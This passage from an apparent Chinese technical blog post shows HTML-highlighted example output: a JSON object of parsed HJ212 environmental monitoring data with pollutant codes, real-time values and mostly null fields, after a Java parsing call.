class_">HashMap</span>&lt;&gt;(<span class="number">2</span>);</span><br><span class="line">mapper.readData(h212)</span><br></pre></td></tr></table></figure><h4 id="结果-3">结果</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;QN&quot;</span><span class="punctuation">:</span> <span class="string">&quot;20210301111100112&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;PNUM&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;PNO&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;ST&quot;</span><span class="punctuation">:</span> <span class="string">&quot;21&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;CN&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2011&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;PW&quot;</span><span class="punctuation">:</span> <span class="string">&quot;123456&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;MN&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ZLDSZ20210127&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="string">&quot;V1&quot;</span></span><br><span class="line">  <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;CP&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;SystemTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;QN&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;QnRtn&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;ExeRtn&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;RtdInterval&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;MinInterval&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;RestartTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;AlarmTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;AlarmType&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;ReportTarget&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;PolId&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;BeginTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;EndTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;DataTime&quot;</span><span class="punctuation">:</span> <span class="string">&quot;20210301111100&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;ReportTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;DayStdValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;NightStdValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;PNO&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;PNUM&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;PW&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;NewPW&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;OverTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;ReCount&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;WarnTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;CTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;VaseNo&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;CstartTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;Stime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;InfoId&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;Pollution&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;w21011&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;w21001&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">3.563168</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;w23002&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;w21003&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">0.09055002</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;w01001&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">8.33</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;w01003&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">13.1</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span 